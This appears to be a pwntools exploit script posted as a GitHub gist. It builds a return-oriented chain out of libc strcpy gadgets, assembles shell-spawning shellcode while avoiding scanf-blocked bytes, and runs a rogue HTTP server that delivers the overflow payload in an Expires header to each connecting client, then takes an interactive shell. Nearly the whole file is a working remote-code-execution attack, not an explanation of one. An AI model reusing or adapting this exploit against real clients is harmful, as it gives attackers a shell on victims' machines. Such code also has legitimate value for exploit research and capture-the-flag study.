from pwn import * | |
import time | |
context.update(arch="i386") | |
#context.update(log_level="debug") | |
def strlen_at(data, start): | |
pos = data.find("\x00", start) | |
if pos < 0: | |
return 999999 | |
return pos - start | |
def encode_shellcode(dest, assembly): | |
print "Encoding " + assembly | |
sc = asm(assembly) | |
print hexdump(sc) | |
print "Shellcode size: %d" % len(sc) | |
ret = [] | |
pos = 0 | |
while pos < len(sc): | |
addr, found_len = find_string(sc[pos:]) | |
ret.append(gen_strcpy(dest + pos, addr)) | |
pos += found_len | |
info("Element count: %d" % len(ret)) | |
return ret | |
def find_string(needle): | |
global libc | |
global libc_data | |
global blacklist | |
global libc_off | |
zero = needle.find("\x00") | |
if zero >= 0: | |
needle = needle[0:zero+1] | |
oldpos = 0 | |
while needle: | |
addr = None | |
pos = libc_data.find(needle, oldpos) | |
if pos < 0: | |
needle = needle[0:-1] | |
oldpos = 0 | |
continue | |
blacklisted = False | |
addr = pos+0x3000+libc_off | |
addr_bytes = p32(addr) | |
if addr >= (dest_sc-0x10) and addr < (dest_sc+0x100): | |
warn("Blacklisted because in our destination range") | |
blacklisted = True | |
elif strlen_at(libc_data, pos) > 0x100: | |
blacklisted = True | |
else: | |
for b in blacklist: | |
if b in addr_bytes: | |
# warn("Skipping blacklisted addr: 0x%x 0x%x for %s" % (addr, ord(b), needle)) | |
blacklisted = True | |
break | |
if not blacklisted: | |
break | |
oldpos = pos + 1 | |
if not needle: | |
error("Unable to find string") | |
info("Found string %s at 0x%x pos: 0x%x (file: 0x%x)" % (needle.encode('hex'), addr, pos, addr-libc_off)) | |
return addr, len(needle) | |
def gen_strcpy(dst, src): | |
return [ | |
strcpy, | |
pop2f, | |
dst, | |
src, | |
flags | |
] | |
libc = open("libc.so.4.7.6", "rb") | |
libc.seek(0x2000) | |
libc_data = libc.read() | |
# scanf() blacklist | |
blacklist = ["\x00", "\x09", "\x0a", "\x0b", "\x0c", "\x0d", "\x20"] | |
libc_off = 0x5fffe000 | |
ret = 0x6001185f | |
strcpy = 0x6002ff88 | |
strcat = libc_off + 0x31de0 | |
execve = libc_off + 0x14a50 | |
system = libc_off + 0x33a80 | |
ebfe = "\x1b\x74\x01\x00" | |
dest_sc = libc_off + 0x618a1 | |
dest_stage2 = libc_off + 0x61a30 | |
# pop ecx; pop edx; popf | |
pop3f = libc_off + 0x5085b | |
pop2f = libc_off + 0x5085c | |
pop1f = libc_off + 0x5085d | |
# Safe flags | |
flags = 0x01010801 | |
null = 0x60010104 | |
info("sc at 0x%x" % dest_sc) | |
shellcode = shellcraft.i386.linux.dupsh(4) | |
# ROP | |
payload = fit({292: [ | |
# ebp | |
dest_stage2, | |
# eip | |
encode_shellcode(dest_sc, shellcode), | |
dest_sc, | |
]}) | |
for c in blacklist: | |
if c in payload[0:-1]: | |
error("blacklist char: 0x%x" % ord(c)) | |
info("Payload size: %d" % len(payload)) | |
l = listen(80) | |
if len(payload) > 992: | |
error("Payload too long: %d > 992" % len(payload)) | |
while True: | |
r = l.wait_for_connection() | |
req = r.recvuntil("\r\n\r\n") | |
info(req) | |
r.send("""HTTP/1.1 200 OK\r\nExpires: 26 %s 2020 06:39:55 GMT\r\n""" % payload) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment